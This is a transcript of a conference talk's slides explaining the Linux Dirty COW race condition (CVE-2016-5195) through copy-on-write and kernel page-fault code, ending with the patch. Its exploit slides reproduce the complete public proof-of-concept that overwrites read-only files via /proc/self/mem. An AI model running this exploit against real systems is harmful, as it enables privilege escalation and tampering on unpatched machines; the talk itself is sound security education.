dirtyc0w - cve-2016-5195
TRANSCRIPT
dirtyc0w(CVE-2016-5195)Gili Yankovitch - Nyx Software Security Solutions
こんにちは (Hello!)
I am Gili
◎ Security Researcher◎ Kernel + Embedded
Developer◎ CEO of Nyx Software Security
Solutions
You can find me at:[email protected]
What are we going to talk about today?
◎Memory Management Model◎The COW Concept
○And implementation◎dirtyc0w - The vulnerability◎Patch◎Demo!
◎… Then you get to go home.
“A page, memory page, or virtual page is a fixed-
length contiguous block of virtual memory, described by a single entry in the page table. It is the smallest unit of data for memory management in a
virtual memory operating system.Similarly, a page frame is the smallest fixed-length
contiguous block of physical memory into which memory pages are mapped by the operating system.
-Wikipedia
VM Pages in a jiffy...
Wikimedia
COW
So what is a COW?… apart from livestock...
COW - Copy On Write
◎ Imagine we have a file we want to map to a process
libfile.so
Process #0RAM
Physical Memory
Process #1
Virtual M
emory
Hello, world! Hello, world! Hello, world! Hello, world!
Hello, world! Hello, world!
Hello, world! Hello, world! Hello, world!
HDD
This is calledmmap(MAP_SHARED);Used for shared memory or memory mapped files.
© All Rights Reserved
COW - Copy On Write
◎ But now, we just want to share the mapped data...
Process #0RAM
Physical Memory
Process #1
Virtual M
emory
Hello, world! Hello, world! Hello, world! Hello, world!
Hello, world! Hello, world!
Hello, world! Hello, world! Hello, world!
HDD
This happens on mmap(MAP_PRIVATE) on a file. It is called Copy on Write
Goodbye!
Hello, world! Hello, world! Hello, world!
Goodbye!
Notice that the data is not flushed back to disk!
libfile.so
© All Rights Reserved
Copy On Write in Kernel
◎ Begins in memory.c on fault
◎ Which calls handle_pte_fault
Copy On Write in Kernel
◎ Continues for private mappings
◎ The do_cow_fault implementation:
Non-present page, do_cow_fault()http://lxr.free-electrons.com/source/mm/memory.c?v=3.18#L2922
Present page, do_wp_page()
http://lxr.free-electrons.com/source/mm/memory.c?v=3.18#L2188
Dirty Pages
Process #0RAM
Hello, world! Hello, world! Hello, world!
Hello, world! Hello, world! Hello, world!
Goodbye!
Goodbye!
◎ We somehow need to track write to pages○ Flush to file○Write to swap○Update cache○...
© All Rights Reserved
The dirtyc0w vulnerability
◎ CVE-2016-5195○ Disclosed in 19/10/2016
◉Pretty recent◉A lot of servers are currently still vulnerable.
◎ Existed in the Kernel for 9 years (!)◎ A local Privilege Escalation Vulnerability◎ They also registered a cool domain
○ https://dirtycow.ninja/
Exploit Codevoid *map;int f;struct stat st;char *name;int main(int argc,char *argv[]){ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1,pth2; f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map);
pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0;}
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c);} void *procselfmemThread(void *arg){ char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c);}
madvise (2)madvise - give advice about use of memoryint madvise(void *addr, size_t length, int advice);…MADV_DONTNEED Do not expect access in the near future. (For the time being, the application is finished with the given range, so the kernel can free resources associated with it.)
...
Process #0RAM
Hello, world! Hello, world! Hello, world!
Hello, world! Hello, world! Hello, world!
madvise()madvise()
Goodbye!
Goodbye!
© All Rights Reserved
Let’s walk the write(/proc/self/mem)/fs/proc/base.c
...
/mm/memory.c
...
...
...
Process #0
Lets walk the write(/proc/self/mem)
/mm/gup.c
Process #0
Iterate until you drop
/mm/gup.c
...Process #0
Try fetching the pages to write on...
/mm/memory.c
...
...
Process #0
?
Darn! Let’s try to fix the situation (First time!)
/mm/gup.c
...Process #0
Handle fault accordingly...
/mm/gup.c
Process #0
Do a COW! (moooo…)
Process #0
...
do_cow_fault()http://lxr.free-electrons.com/source/mm/memory.c?v=3.18#L2922
Copy!PTE_FILE
Page not backed in file!
Okok, now we’re fixed. Let’s try again!
/mm/gup.c
...Process #0
Copy!PTE_FILE
Darn! Another failure...
/mm/memory.c
...
Process #0
Copy!PTE_FILE
Let’s try to fix it AGAIN (Second run!)
/mm/gup.c
...Process #0
Copy!PTE_FILE
Mark it like you mean it
/mm/gup.c
Process #0
Copy!PTE_FILE
...
...
Indicates we finished the COW process
Returning to faultin_page()...
/mm/gup.c
Process #0
Copy!PTE_FILE
OK! Now (for the THIRD time) follow_page_mask will work!
/mm/gup.c
...Process #0
Copy!PTE_FILE
✓
OK. So everything’s fine.Where EXACTLY is the vulnerability?
? ??
Let’s back up for a bit...
/mm/gup.c
...Process #0
Copy!PTE_FILE
madvise()
Going back to !pte_present(pte)
/mm/memory.c
...
...
Process #0
?
Now it’s a… read???!!
Process #0
...
Remember this from before?????
Now map the REAL page for READ (??!?!?!)
REALPTE_FILE
OK! Now we found the right page (????)
/mm/gup.c
...Process #0
REALPTE_FILE
✓
Return of the write()/fs/proc/base.c
...
/mm/memory.c
...
...
...
Process #0
REALPTE_FILE
The patch
Indicates our special case
Indicates COW finished
If race occurs, pte won’t be dirty.
Yay! Demo!
Question Time